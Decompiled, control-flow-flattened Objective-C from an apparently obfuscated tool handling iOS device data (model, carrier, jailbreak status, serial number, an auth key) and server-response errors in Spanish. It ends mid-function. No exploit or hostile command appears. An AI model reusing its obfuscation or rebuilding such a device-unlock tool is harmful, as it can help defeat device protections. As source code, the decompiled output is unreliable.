//----- (0000000100062027) ----------------------------------------------------
NSString *__cdecl +[iOSDevice Model](id a1, SEL a2)
{
int v2; // eax
int v4; // [rsp+Ch] [rbp-34h] BYREF
id v5; // [rsp+10h] [rbp-30h]
int *v6; // [rsp+18h] [rbp-28h]
v4 = 274521041;
v6 = &v4;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v4 <= 1174817643 )
{
switch ( v4 )
{
case -639629224:
v5 = (id)_Model;
v2 = 598317250;
goto LABEL_12;
case 274521041:
v2 = -639629224;
LABEL_12:
*v6 = v2;
break;
case 598317250:
*v6 = 1174817644;
break;
}
}
if ( v4 != 1174817644 )
break;
objc_retain(v5);
*v6 = 1769148229;
}
if ( v4 != 1331016180 )
break;
*v6 = -639629224;
}
}
while ( v4 != 1769148229 );
objc_autoreleaseReturnValue(v5);
return (NSString *)v5;
}
// 100062124: conditional instruction was optimized away because %var_38.4==45B2C165
// 10029F390: using guessed type __int64 _Model;
//----- (000000010006216E) ----------------------------------------------------
void __cdecl +[iOSDevice setModel:](id a1, SEL a2, id a3)
{
int v4; // eax
char v5; // cf
int v6; // ecx
id v7; // [rsp+0h] [rbp-40h]
int v8; // [rsp+Ch] [rbp-34h] BYREF
int *v9; // [rsp+10h] [rbp-30h]
v8 = 1274135421;
v9 = &v8;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v8 <= -1188540900 )
{
if ( v8 > -1325876190 )
{
switch ( v8 )
{
case -1325876189:
*v9 = -1369140575;
break;
case -1287345574:
objc_release(v7);
v4 = -1482527047;
goto LABEL_30;
case -1256665973:
*v9 = -1913952767;
break;
}
}
else
{
switch ( v8 )
{
case -1913952767:
v4 = -121254398;
goto LABEL_30;
case -1482527047:
*v9 = -73567629;
break;
case -1369140575:
v4 = -1287345574;
goto LABEL_30;
}
}
}
if ( v8 <= -73567630 )
break;
switch ( v8 )
{
case -73567629:
v5 = 1;
v4 = -1913952767;
v6 = -1256665973;
LABEL_21:
if ( !v5 )
v4 = v6;
LABEL_30:
*v9 = v4;
break;
case 2042101713:
objc_retain(a3);
_Model = (__int64)a3;
*v9 = -787820295;
break;
case 1274135421:
v4 = -787820295;
goto LABEL_30;
}
}
if ( v8 != -1188540899 )
break;
objc_release(v7);
*v9 = -1287345574;
}
if ( v8 == -787820295 )
{
objc_retain(a3);
v5 = 0;
v7 = (id)_Model;
_Model = (__int64)a3;
v4 = 2042101713;
v6 = -1325876189;
goto LABEL_21;
}
}
while ( v8 != -121254398 );
}
// 10006227D: conditional instruction was optimized away because %var_38.4==7487A55D
// 1000623CF: variable 'v7' is possibly undefined
// 10029F390: using guessed type __int64 _Model;
//----- (0000000100062464) ----------------------------------------------------
NSString *__cdecl +[iOSDevice Carrier](id a1, SEL a2)
{
int v2; // eax
int v4; // [rsp+4h] [rbp-3Ch] BYREF
id v5; // [rsp+8h] [rbp-38h]
int *v6; // [rsp+10h] [rbp-30h]
v5 = (id)_Carrier;
v4 = -173947500;
v6 = &v4;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v4 <= 34134867 )
{
if ( v4 > -291041239 )
{
if ( v4 == -291041238 )
{
objc_retain(v5);
*v6 = 1137140375;
}
else if ( v4 == -173947500 )
{
v2 = 1137140375;
goto LABEL_18;
}
}
else if ( v4 == -1676831415 )
{
objc_autoreleaseReturnValue(v5);
v2 = 126610182;
LABEL_18:
*v6 = v2;
}
else if ( v4 == -485200145 )
{
*v6 = 217736852;
}
}
if ( v4 <= 217736851 )
break;
if ( v4 == 217736852 )
{
v2 = -1676831415;
goto LABEL_18;
}
if ( v4 == 1137140375 )
{
objc_retain(v5);
v2 = -485200145;
goto LABEL_18;
}
}
if ( v4 != 34134868 )
break;
objc_autoreleaseReturnValue(v5);
*v6 = -1676831415;
}
}
while ( v4 != 126610182 );
return (NSString *)v5;
}
// 100062553: conditional instruction was optimized away because r13d.4==7853E21C
// 10006264B: conditional instruction was optimized away because r13d.4==1
// 10029F398: using guessed type __int64 _Carrier;
//----- (000000010006268E) ----------------------------------------------------
void __cdecl +[iOSDevice setCarrier:](id a1, SEL a2, id a3)
{
char v4; // cf
int v5; // eax
int v6; // ecx
id v7; // [rsp+0h] [rbp-40h]
int v8; // [rsp+Ch] [rbp-34h] BYREF
int *v9; // [rsp+10h] [rbp-30h]
v8 = 1288610425;
v9 = &v8;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v8 > 453877055 )
{
if ( v8 > 1575914186 )
{
if ( v8 == 1575914187 )
{
v4 = 1;
v5 = -919773768;
v6 = 2138142857;
LABEL_20:
if ( v4 )
v5 = v6;
LABEL_22:
*v9 = v5;
}
else if ( v8 == 2138142857 )
{
objc_release(v7);
v5 = -1222153290;
goto LABEL_22;
}
}
else
{
if ( v8 == 453877056 )
{
objc_retain(a3);
v4 = 1;
v7 = (id)_Carrier;
v5 = 53147265;
v6 = -12610815;
goto LABEL_20;
}
if ( v8 == 1288610425 )
{
v4 = 0;
v5 = 453877056;
v6 = 53147265;
goto LABEL_20;
}
}
}
if ( v8 <= -12610816 )
break;
if ( v8 == -12610815 )
{
*v9 = -1480455608;
}
else if ( v8 == 53147265 )
{
objc_retain(a3);
*v9 = 453877056;
}
}
if ( v8 != -1480455608 )
break;
_Carrier = (__int64)a3;
*v9 = 1575914187;
}
if ( v8 != -919773768 )
break;
objc_release(v7);
*v9 = 2138142857;
}
}
while ( v8 != -1222153290 );
}
// 100062839: conditional instruction was optimized away because r15d.4==CFEEFFDF
// 10006273B: variable 'v7' is possibly undefined
// 10029F398: using guessed type __int64 _Carrier;
//----- (0000000100062932) ----------------------------------------------------
NSString *__cdecl +[iOSDevice JailbreakMode](id a1, SEL a2)
{
char v2; // cf
int v3; // eax
id v5; // [rsp+0h] [rbp-40h]
int v6; // [rsp+Ch] [rbp-34h] BYREF
int *v7; // [rsp+10h] [rbp-30h]
v6 = 37319469;
v7 = &v6;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v6 > 43715790 )
{
if ( v6 > 1581256505 )
{
if ( v6 == 1581256506 )
{
*v7 = -45261512;
}
else if ( v6 == 1754519070 )
{
v5 = _JailbreakMode;
objc_retain(_JailbreakMode);
v2 = 0;
v3 = -1910025912;
LABEL_17:
if ( v2 )
v3 = 1754519070;
LABEL_22:
*v7 = v3;
}
}
else
{
if ( v6 == 43715791 )
{
v3 = -45261512;
goto LABEL_22;
}
if ( v6 == 1223145207 )
{
objc_retain(_JailbreakMode);
*v7 = 1754519070;
}
}
}
if ( v6 <= -45261513 )
break;
if ( v6 == -45261512 )
{
v3 = -1159774942;
goto LABEL_22;
}
if ( v6 == 37319469 )
{
v2 = 1;
v3 = 1223145207;
goto LABEL_17;
}
}
if ( v6 != -1910025912 )
break;
*v7 = -682838297;
}
if ( v6 != -682838297 )
break;
objc_autoreleaseReturnValue(v5);
*v7 = 43715791;
}
}
while ( v6 != -1159774942 );
return (NSString *)v5;
}
// 1000629DC: variable 'v5' is possibly undefined
//----- (0000000100062B99) ----------------------------------------------------
void __cdecl +[iOSDevice setJailbreakMode:](id a1, SEL a2, id a3)
{
id v4; // [rsp+0h] [rbp-20h]
int i; // [rsp+14h] [rbp-Ch]
objc_retain(a3);
v4 = _JailbreakMode;
for ( i = -1049621487; i == -1049621487; i = 62790146 )
_JailbreakMode = a3;
objc_release(v4);
}
// 100062BD6: conditional instruction was optimized away because %var_C.4==3BE1A02
//----- (0000000100062BFD) ----------------------------------------------------
NSString *__cdecl +[iOSDevice UniqueKeyAuth](id a1, SEL a2)
{
int v2; // eax
int v3; // ecx
int v5; // [rsp+4h] [rbp-3Ch] BYREF
id v6; // [rsp+8h] [rbp-38h]
int *v7; // [rsp+10h] [rbp-30h]
v5 = 409891315;
v7 = &v5;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v5 > 1076165825 )
{
if ( v5 > 1601290662 )
{
switch ( v5 )
{
case 1601290663:
objc_autoreleaseReturnValue(v6);
*v7 = 1215204817;
break;
case 1903686447:
objc_retain(v6);
*v7 = 2003949068;
break;
case 2003949068:
objc_retain(v6);
v2 = -2145824439;
goto LABEL_27;
}
}
else
{
switch ( v5 )
{
case 1076165826:
v3 = 1215204817;
LABEL_25:
v2 = v3;
goto LABEL_27;
case 1215204817:
objc_autoreleaseReturnValue(v6);
v2 = -1863562737;
LABEL_27:
*v7 = v2;
break;
case 1340629540:
*v7 = -376319799;
break;
}
}
}
if ( v5 <= -279113033 )
break;
switch ( v5 )
{
case -279113032:
*v7 = 884125724;
break;
case 409891315:
v3 = 884125724;
goto LABEL_25;
case 884125724:
v6 = (id)_UniqueKeyAuth;
*v7 = 1340629540;
break;
}
}
if ( v5 != -2145824439 )
break;
*v7 = 1076165826;
}
if ( v5 == -376319799 )
{
v2 = 2003949068;
goto LABEL_27;
}
}
while ( v5 != -1863562737 );
return (NSString *)v6;
}
// 100062E7C: conditional instruction was optimized away because ebx.4==CE4D6F8
// 10029F3A8: using guessed type __int64 _UniqueKeyAuth;
//----- (0000000100062EBE) ----------------------------------------------------
void __cdecl +[iOSDevice setUniqueKeyAuth:](id a1, SEL a2, id a3)
{
int v4; // eax
id v5; // [rsp+0h] [rbp-40h]
int v6; // [rsp+Ch] [rbp-34h] BYREF
int *v7; // [rsp+10h] [rbp-30h]
objc_retain(a3);
v6 = -1939747171;
v7 = &v6;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v6 <= 855672028 )
{
if ( v6 > -647401327 )
{
if ( v6 == -647401326 )
{
v5 = (id)_UniqueKeyAuth;
_UniqueKeyAuth = (__int64)a3;
v4 = -170496097;
LABEL_19:
*v7 = v4;
}
else if ( v6 == -170496097 )
{
*v7 = 1595054455;
}
}
else
{
if ( v6 == -1939747171 )
{
v4 = -647401326;
goto LABEL_19;
}
if ( v6 == -1654394208 )
{
_UniqueKeyAuth = (__int64)a3;
*v7 = -647401326;
}
}
}
if ( v6 <= 1595054454 )
break;
if ( v6 == 1595054455 )
{
v4 = 1905926553;
goto LABEL_19;
}
if ( v6 == 1905926553 )
{
objc_release(v5);
v4 = 855672029;
goto LABEL_19;
}
}
if ( v6 != 1543934723 )
break;
objc_release(v5);
*v7 = 1905926553;
}
}
while ( v6 != 855672029 );
}
// 100062F8E: variable 'v5' is possibly undefined
// 10029F3A8: using guessed type __int64 _UniqueKeyAuth;
//----- (00000001000630E4) ----------------------------------------------------
char __cdecl +[iOSDevice JailbreakStatus](id a1, SEL a2)
{
return _JailbreakStatus;
}
// 10029F3C0: using guessed type char _JailbreakStatus;
//----- (000000010006310E) ----------------------------------------------------
void __cdecl +[iOSDevice setJailbreakStatus:](id a1, SEL a2, char a3)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
int *v4; // [rsp+8h] [rbp-8h]
v3 = -942455044;
v4 = &v3;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v3 <= -810641976 )
{
if ( v3 == -1010537261 )
{
_JailbreakStatus = a3;
*v4 = 700361736;
}
else if ( v3 == -942455044 )
{
*v4 = -1010537261;
}
}
if ( v3 != -810641975 )
break;
_JailbreakStatus = a3;
*v4 = -1010537261;
}
if ( v3 != 700361736 )
break;
*v4 = 977458799;
}
}
while ( v3 != 977458799 );
}
// 1000631A2: conditional instruction was optimized away because %var_10.4==4EE2DD0D
// 10029F3C0: using guessed type char _JailbreakStatus;
//----- (00000001000631DB) ----------------------------------------------------
char __cdecl +[iOSDevice breakLoop](id a1, SEL a2)
{
int v2; // edi
int v4; // [rsp+4h] [rbp-14h] BYREF
int *v5; // [rsp+8h] [rbp-10h]
char v6; // [rsp+17h] [rbp-1h]
v4 = 244796658;
v5 = &v4;
do
{
while ( 1 )
{
while ( v4 > 426155777 )
{
if ( v4 > 969234396 )
{
if ( v4 == 969234397 )
{
v6 = _breakLoop;
v2 = 426155778;
LABEL_19:
*v5 = v2;
}
else if ( v4 == 987392816 )
{
v2 = -1856599210;
goto LABEL_19;
}
}
else if ( v4 == 426155778 )
{
*v5 = 987392816;
}
else if ( v4 == 778703817 )
{
*v5 = -1856599210;
}
}
if ( v4 > 143383224 )
break;
if ( v4 == -1894087030 )
{
*v5 = 969234397;
}
else if ( v4 == -1856599210 )
{
v2 = 143383225;
goto LABEL_19;
}
}
if ( v4 == 244796658 )
{
v2 = 969234397;
goto LABEL_19;
}
}
while ( v4 != 143383225 );
return v6;
}
// 100063324: conditional instruction was optimized away because %var_18.4==9890220
// 10029F3C1: using guessed type char _breakLoop;
//----- (00000001000633CA) ----------------------------------------------------
void __cdecl +[iOSDevice setBreakLoop:](id a1, SEL a2, char a3)
{
int v3; // r8d
int v4; // [rsp+4h] [rbp-Ch] BYREF
int *v5; // [rsp+8h] [rbp-8h]
v4 = -1112948573;
v5 = &v4;
do
{
while ( 1 )
{
while ( v4 > 855688468 )
{
if ( v4 > 1410720820 )
{
if ( v4 == 1410720821 )
{
_breakLoop = a3;
*v5 = 1546868415;
}
else if ( v4 == 1546868415 )
{
_breakLoop = a3;
v3 = 803570044;
goto LABEL_18;
}
}
else if ( v4 == 855688469 )
{
v3 = 1327245863;
LABEL_18:
*v5 = v3;
}
else if ( v4 == 1327245863 )
{
v3 = -606150791;
goto LABEL_18;
}
}
if ( v4 <= 397358353 )
break;
if ( v4 == 397358354 )
{
*v5 = 1327245863;
}
else if ( v4 == 803570044 )
{
*v5 = 855688469;
}
}
if ( v4 == -1112948573 )
{
v3 = 1546868415;
goto LABEL_18;
}
}
while ( v4 != -606150791 );
}
// 100063550: conditional instruction was optimized away because %var_10.4==FFDFFFEF
// 10029F3C1: using guessed type char _breakLoop;
//----- (00000001000635DD) ----------------------------------------------------
id __fastcall DetermineModel(id a1)
{
id v2; // rax
id v3; // rax
int v4; // eax
bool v5; // zf
int v6; // ecx
id v7; // rax
id v8; // rcx
char v9; // cf
int v10; // ecx
char v11; // cf
int v12; // ecx
__CFString *v13; // rdi
id v14; // rax
id v15; // rax
id v16; // rax
void *v17; // rax
unsigned __int8 v18; // r15
id v19; // rax
id v20; // rax
id v21; // rax
void *v22; // rax
id v23; // rax
id v24; // rax
void *v25; // rax
id v26; // rax
void *v27; // rax
__CFString *v28; // rcx
__CFString *v29; // rdi
id v31; // [rsp+0h] [rbp-C0h]
__CFString *v32; // [rsp+8h] [rbp-B8h]
id v33; // [rsp+10h] [rbp-B0h]
id v34; // [rsp+18h] [rbp-A8h]
const char *v35; // [rsp+20h] [rbp-A0h]
id v36; // [rsp+28h] [rbp-98h]
int v37; // [rsp+38h] [rbp-88h]
int v38; // [rsp+3Ch] [rbp-84h] BYREF
SEL v39; // [rsp+40h] [rbp-80h]
id v40; // [rsp+48h] [rbp-78h]
id v41; // [rsp+50h] [rbp-70h]
id v42; // [rsp+58h] [rbp-68h]
id v43; // [rsp+60h] [rbp-60h]
void *v44; // [rsp+68h] [rbp-58h]
id v45; // [rsp+70h] [rbp-50h]
id v46; // [rsp+78h] [rbp-48h]
id v47; // [rsp+80h] [rbp-40h]
bool v48; // [rsp+88h] [rbp-38h]
char v49; // [rsp+89h] [rbp-37h]
char v50; // [rsp+8Ah] [rbp-36h]
bool v51; // [rsp+8Bh] [rbp-35h]
bool v52; // [rsp+8Ch] [rbp-34h]
unsigned __int8 v53; // [rsp+8Dh] [rbp-33h]
bool v54; // [rsp+8Eh] [rbp-32h]
bool v55; // [rsp+8Fh] [rbp-31h]
int *v56; // [rsp+90h] [rbp-30h]
v38 = -1634989937;
v56 = &v38;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v38 <= -236594933 )
{
if ( v38 <= -1028446644 )
{
if ( v38 <= -1574757931 )
{
if ( v38 <= -1919508750 )
{
if ( v38 <= -2013840612 )
{
if ( v38 == -2085492940 )
{
aB[0] = 115;
aB[1] = 116;
aB[2] = 97;
aB[3] = 116;
aB[4] = 117;
aB[5] = 115;
aB[6] = 0;
asc_10026A818[0] = 109;
asc_10026A818[1] = 111;
asc_10026A818[2] = 100;
asc_10026A818[3] = 101;
asc_10026A818[4] = 108;
asc_10026A818[5] = 0;
aPEa[0] = 115;
aPEa[1] = 117;
aPEa[2] = 99;
aPEa[3] = 99;
aPEa[4] = 101;
aPEa[5] = 115;
aPEa[6] = 115;
aPEa[7] = 0;
qmemcpy(asc_10026A6B0, "Error al parsear la respuesta de", 32);
v49 = 88;
*v56 = 658590782;
}
else if ( v38 == -2063185563 )
{
v11 = 1;
v4 = -1073616180;
v12 = -748509593;
goto LABEL_220;
}
}
else
{
switch ( v38 )
{
case -2013840611:
v9 = 1;
v4 = 795954469;
v10 = -971291760;
goto LABEL_224;
case -2013227082:
v18 = (unsigned __int8)HikariFunctionWrapper_2745_0(v42, "isEqualToString:");
objc_release(v42);
v51 = v18 == 0;
v4 = -711119833;
goto LABEL_234;
case -1942517367:
*v56 = 1483702160;
v7 = v47;
v8 = v31;
goto LABEL_209;
}
}
}
else if ( v38 > -1746479468 )
{
switch ( v38 )
{
case -1746479467:
*v56 = 1483702160;
v7 = v46;
v8 = v40;
LABEL_209:
v43 = v7;
v44 = v8;
break;
case -1691795242:
*v56 = 1785053663;
break;
case -1634989937:
v11 = 1;
v4 = -1691795242;
v12 = 1785053663;
goto LABEL_220;
}
}
else
{
switch ( v38 )
{
case -1919508749:
v5 = !v48;
v4 = -2013840611;
v6 = -470413271;
goto LABEL_232;
case -1827510446:
v11 = 1;
v4 = 1828241133;
v12 = 282423965;
goto LABEL_220;
case -1763922419:
*v56 = 1483702160;
v7 = v46;
v8 = v33;
goto LABEL_209;
}
}
}
else if ( v38 > -1310035401 )
{
if ( v38 > -1133317687 )
{
switch ( v38 )
{
case -1133317686:
v28 = (__CFString *)v46;
if ( !v46 )
v28 = CFSTR("\x92\x7F\xC0\x7F\xE3\xDB\xDD\x01\xDC\x09H\xAA!\xC2\x4E~\xAAs");
v5 = 0;
v40 = v28;
v4 = -783176222;
v6 = 967585581;
goto LABEL_232;
case -1129877667:
v11 = 1;
v4 = 1550916633;
v12 = -1188269185;
goto LABEL_220;
case -1073616180:
v13 = CFSTR("\x0E\xA2oR\a\xCD\x48\xC8\x05E\xE5\x88\xF8\xA0!\xDC\x14]\xE2\x73\xE0");
if ( !v55 )
v13 = (__CFString *)v47;
objc_retain(v13);
*v56 = -748509593;
break;
}
}
else
{
switch ( v38 )
{
case -1310035400:
v27 = (void *)DetermineModel_2(a1);
objc_retainAutoreleasedReturnValue(v27);
*v56 = 1456482664;
break;
case -1238255915:
v11 = 1;
v4 = -783176222;
v12 = -1133317686;
goto LABEL_220;
case -1188269185:
*v56 = 1483702160;
v7 = v47;
v8 = v32;
goto LABEL_209;
}
}
}
else if ( v38 > -1474252809 )
{
switch ( v38 )
{
case -1474252808:
*v56 = 105549599;
break;
case -1355481685:
v52 = (unsigned __int8)HikariFunctionWrapper_2747_0(v47, v35) == 0;
v11 = 0;
v4 = -431901251;
v12 = -1355481685;
goto LABEL_220;
case -1348446420:
v4 = -450150398;
goto LABEL_234;
}
}
else
{
switch ( v38 )
{
case -1574757930:
v5 = !v54;
v4 = -939395484;
v6 = -1238255915;
goto LABEL_232;
case -1558364982:
v53 = (unsigned __int8)objc_msgSend(
v46,
"isEqual:",
CFSTR("\x9FWb\xBC\xBE\x15d\xE3\x97\x67()ݠ\xB6\x13\xFB\xB5\x1B.\xD1\xE7\xC0\x6A-/\xA7\x00i\x1A\xB7s\x98)_U\xF4\xD7\x9B\x3B\x9E\xFE"));
v4 = 117542098;
goto LABEL_234;
case -1475561680:
v2 = HikariFunctionWrapper_2743_0(a1, v34);
v45 = objc_retainAutoreleasedReturnValue(v2);
v39 = "objectForKeyedSubscript:";
v3 = objc_msgSend(v45, "objectForKeyedSubscript:", CFSTR("B\x89Ddt\x01"));
v42 = objc_retainAutoreleasedReturnValue(v3);
v4 = 913402431;
goto LABEL_234;
}
}
}
else if ( v38 > -528540908 )
{
if ( v38 > -377957866 )
{
if ( v38 > -327468581 )
{
switch ( v38 )
{
case -327468580:
objc_msgSend(
v47,
v35,
CFSTR("䊈屵㖰㑿\xC9\xDE㹛谪\xA2\xDB\xD0\xE1膇◚躌씋競諉噽꿯螀鏖蓹ꄏ쀐탿γ뛒᥅菋玙晬厗爤尨ᾴ\u0CD8"));
*v56 = -1355481685;
break;
case -263412308:
*v56 = -112540009;
break;
case -259145634:
*v56 = 1402403513;
break;
}
}
else
{
switch ( v38 )
{
case -377957865:
v9 = 1;
v4 = 1485060420;
v10 = -528540907;
goto LABEL_224;
case -354088817:
goto LABEL_217;
case -351636132:
v11 = 0;
v4 = 323964022;
v12 = 1995710535;
goto LABEL_220;
}
}
}
else if ( v38 > -450150399 )
{
switch ( v38 )
{
case -450150398:
v5 = 0;
v4 = 811711223;
v6 = -1919508749;
LABEL_232:
if ( !v5 )
v4 = v6;
LABEL_234:
*v56 = v4;
break;
case -431901251:
v5 = !v52;
v4 = -715491647;
v6 = -236594932;
goto LABEL_232;
case -383288904:
v15 = objc_msgSend(v45, v39, CFSTR("\x15\xFAh\xA8\n\x96\xA8\x03"));
v16 = objc_retainAutoreleasedReturnValue(v15);
v11 = 1;
v46 = v16;
v4 = 730686389;
v12 = 1496012708;
goto LABEL_220;
}
}
else
{
switch ( v38 )
{
case -528540907:
*v56 = -377957865;
break;
case -470413271:
v11 = 1;
v4 = 225702527;
v12 = -2085492940;
goto LABEL_220;
case -468635820:
v5 = 0;
v4 = -528540907;
v6 = -377957865;
goto LABEL_232;
}
}
}
else if ( v38 > -865410255 )
{
if ( v38 > -748509594 )
{
switch ( v38 )
{
case -748509593:
v29 = CFSTR("\x0E\xA2oR\a\xCD\x48\xC8\x05E\xE5\x88\xF8\xA0!\xDC\x14]\xE2\x73\xE0");
if ( !v55 )
v29 = (__CFString *)v47;
v32 = v29;
objc_retain(v29);
v5 = 0;
v4 = -1073616180;
v6 = -263412308;
goto LABEL_232;
case -715491647:
v11 = 1;
v4 = 236610609;
v12 = 1316975012;
goto LABEL_220;
case -711119833:
v5 = !v51;
v4 = -911091609;
v6 = 1236268984;
goto LABEL_232;
}
}
else
{
switch ( v38 )
{
case -865410254:
v11 = 1;
v4 = 125442273;
v12 = -1558364982;
LABEL_220:
if ( v11 )
v4 = v12;
goto LABEL_234;
case -783176222:
*v56 = -1133317686;
break;
case -773359494:
v9 = 0;
v4 = 1062086469;
v10 = -28586791;
goto LABEL_224;
}
}
}
else if ( v38 > -971291761 )
{
switch ( v38 )
{
case -971291760:
dword_10029F434 = 1;
objc_retain(a1);
*v56 = 795954469;
break;
case -939395484:
v9 = 0;
v4 = -1310035400;
v10 = 1456482664;
goto LABEL_224;
case -911091609:
v14 = objc_msgSend(v45, v39, CFSTR("\xE9\x3F\x0D"));
v47 = objc_retainAutoreleasedReturnValue(v14);
*v56 = 1173865183;
break;
}
}
else
{
switch ( v38 )
{
case -1028446643:
objc_msgSend(v42, "isEqualToString:", CFSTR("\rpϣ\x17Ea\x80"));
objc_release(v42);
LABEL_217:
*v56 = -2013227082;
break;
case -1024500492:
*v56 = -171831574;
break;
case -1020634061:
*v56 = -351636132;
break;
}
}
}
if ( v38 <= 1040116132 )
break;
if ( v38 <= 1485060419 )
{
if ( v38 <= 1316975011 )
{
if ( v38 <= 1173865182 )
{
if ( v38 == 1040116133 )
{
objc_release(v36);
objc_release(v45);
objc_release(a1);
objc_autoreleaseReturnValue(v41);
v9 = 0;
v4 = 1040116133;
v10 = 162779287;
goto LABEL_224;
}
if ( v38 == 1062086469 )
*v56 = -28586791;
}
else
{
switch ( v38 )
{
case 1173865183:
v35 = "isEqual:";
*v56 = 701614224;
break;
case 1236268984:
v11 = 1;
v4 = 730686389;
v12 = -383288904;
goto LABEL_220;
case 1279376834:
v55 = v47 == 0;
v9 = 1;
v4 = 1756536479;
v10 = -56664048;
goto LABEL_224;
}
}
}
else if ( v38 > 1402403512 )
{
switch ( v38 )
{
case 1402403513:
v9 = 1;
v4 = -1942517367;
LABEL_202:
v10 = -259145634;
LABEL_224:
if ( !v9 )
v4 = v10;
goto LABEL_234;
case 1456482664:
v22 = (void *)DetermineModel_2(a1);
v23 = objc_retainAutoreleasedReturnValue(v22);
v5 = 0;
v33 = v23;
v4 = 1456482664;
v6 = 599354780;
goto LABEL_232;
case 1483702160:
v41 = v44;
v36 = v43;
v11 = 0;
v4 = 1040116133;
v12 = 1926211954;
goto LABEL_220;
}
}
else
{
switch ( v38 )
{
case 1316975012:
v25 = (void *)DetermineModel_2(a1);
v26 = objc_retainAutoreleasedReturnValue(v25);
v5 = 0;
v31 = v26;
v4 = 1316975012;
v6 = 877009309;
goto LABEL_232;
case 1317553456:
v19 = HikariFunctionWrapper_2749_0(a1, v34);
v20 = objc_retainAutoreleasedReturnValue(v19);
v21 = objc_msgSend(v20, "objectForKeyedSubscript:", CFSTR("B\x89Ddt\x01"));
objc_retainAutoreleasedReturnValue(v21);
LABEL_172:
*v56 = -1475561680;
break;
case 1358938215:
objc_retain(v40);
*v56 = -162227519;
break;
}
}
}
else if ( v38 > 1785053662 )
{
if ( v38 > 1948357886 )
{
switch ( v38 )
{
case 1948357887:
*v56 = -773359494;
break;
case 1995710535:
*v56 = 323964022;
break;
case 2055505930:
*v56 = -1348446420;
break;
}
}
else
{
switch ( v38 )
{
case 1785053663:
v11 = 1;
v37 = dword_10029F434;
v4 = -1691795242;
v12 = -1020634061;
goto LABEL_220;
case 1828241133:
*v56 = 282423965;
break;
case 1926211954:
objc_release(v36);
objc_release(v45);
objc_release(a1);
objc_autoreleaseReturnValue(v41);
*v56 = 1040116133;
break;
}
}
}
else if ( v38 > 1669395871 )
{
switch ( v38 )
{
case 1669395872:
asc_10026A6B0[40] = v50 - 2 * (v50 & 0x40) + 64;
asc_10026A6B0[41] = 114;
asc_10026A6B0[42] = 0;
strcpy(asc_10026A7F0, "Error desconocido");
asc_10026A780[0] = 69;
asc_10026A780[1] = 114;
asc_10026A780[2] = 114;
asc_10026A780[3] = 111;
asc_10026A780[4] = 114;
asc_10026A780[5] = 32;
asc_10026A780[6] = 97;
asc_10026A780[7] = 108;
asc_10026A780[8] = 32;
asc_10026A780[9] = 111;
asc_10026A780[10] = 98;
asc_10026A780[11] = 116;
asc_10026A780[12] = 101;
asc_10026A780[13] = 110;
asc_10026A780[14] = 101;
asc_10026A780[15] = 114;
asc_10026A780[16] = 32;
asc_10026A780[17] = 100;
asc_10026A780[18] = 97;
asc_10026A780[19] = 116;
asc_10026A780[20] = 111;
asc_10026A780[21] = 115;
asc_10026A780[22] = 32;
asc_10026A780[23] = 100;
asc_10026A780[24] = 101;
asc_10026A780[25] = 32;
asc_10026A780[26] = 108;
asc_10026A780[27] = 97;
asc_10026A780[28] = 32;
asc_10026A780[29] = 112;
asc_10026A780[30] = 225;
asc_10026A780[31] = 103;
asc_10026A780[32] = 105;
asc_10026A780[33] = 110;
asc_10026A780[34] = 97;
asc_10026A780[35] = 46;
asc_10026A780[36] = 0;
strcpy(asc_10026A710, "Modelo no encontrado");
asc_10026A6E3[0] = 109;
asc_10026A6E3[1] = 101;
asc_10026A6E3[2] = 115;
asc_10026A6E3[3] = 115;
asc_10026A6E3[4] = 97;
asc_10026A6E3[5] = 103;
asc_10026A6E3[6] = 101;
asc_10026A6E3[7] = 0;
*v56 = -2013840611;
break;
case 1707755650:
v11 = 0;
v4 = -162227519;
v12 = 1358938215;
goto LABEL_220;
case 1756536479:
*v56 = -2063185563;
break;
}
}
else
{
switch ( v38 )
{
case 1485060420:
*v56 = -1763922419;
break;
case 1496012708:
*v56 = -865410254;
break;
case 1550916633:
*v56 = -1129877667;
break;
}
}
}
if ( v38 <= 282423964 )
break;
if ( v38 > 730686388 )
{
if ( v38 > 877009308 )
{
switch ( v38 )
{
case 877009309:
*v56 = -1024500492;
break;
case 913402431:
*v56 = -354088817;
break;
case 967585581:
*v56 = 1707755650;
break;
}
}
else
{
switch ( v38 )
{
case 730686389:
v24 = objc_msgSend(v45, v39, CFSTR("\x15\xFAh\xA8\n\x96\xA8\x03"));
objc_retainAutoreleasedReturnValue(v24);
*v56 = -383288904;
break;
case 795954469:
dword_10029F434 = 1;
objc_retain(a1);
v11 = 1;
v34 = _SerialNumber;
v4 = 795954469;
v12 = -1474252808;
goto LABEL_220;
case 811711223:
*v56 = -450150398;
break;
}
}
}
else if ( v38 > 599354779 )
{
switch ( v38 )
{
case 599354780:
*v56 = -468635820;
break;
case 658590782:
*v56 = 370182746;
break;
case 701614224:
v11 = 0;
v4 = -1355481685;
v12 = -327468580;
goto LABEL_220;
}
}
else
{
switch ( v38 )
{
case 282423965:
v54 = v53 == 0;
v11 = 1;
v4 = 282423965;
v12 = -1574757930;
goto LABEL_220;
case 323964022:
v48 = v37 == 0;
*v56 = 2055505930;
break;
case 370182746:
asc_10026A6B0[32] = (~v49 | 0xCB) & (v49 | 0x34);
asc_10026A6B0[33] = 32;
asc_10026A6B0[34] = 115;
asc_10026A6B0[35] = 101;
asc_10026A6B0[36] = 114;
asc_10026A6B0[37] = 118;
asc_10026A6B0[38] = 105;
asc_10026A6B0[39] = 100;
v50 = 47;
*v56 = 1669395872;
break;
}
}
}
if ( v38 > 105549598 )
break;
if ( v38 > -112540010 )
{
switch ( v38 )
{
case -112540009:
v9 = 1;
v4 = -1129877667;
v10 = 1550916633;
goto LABEL_224;
case -56664048:
*v56 = 1279376834;
break;
case -28586791:
v11 = 1;
v4 = 1062086469;
v12 = -1746479467;
goto LABEL_220;
}
}
else
{
switch ( v38 )
{
case -236594932:
v5 = 0;
v4 = -56664048;
v6 = 1279376834;
goto LABEL_232;
case -171831574:
v9 = 1;
v4 = 1402403513;
goto LABEL_202;
case -162227519:
objc_retain(v40);
*v56 = 1948357887;
break;
}
}
}
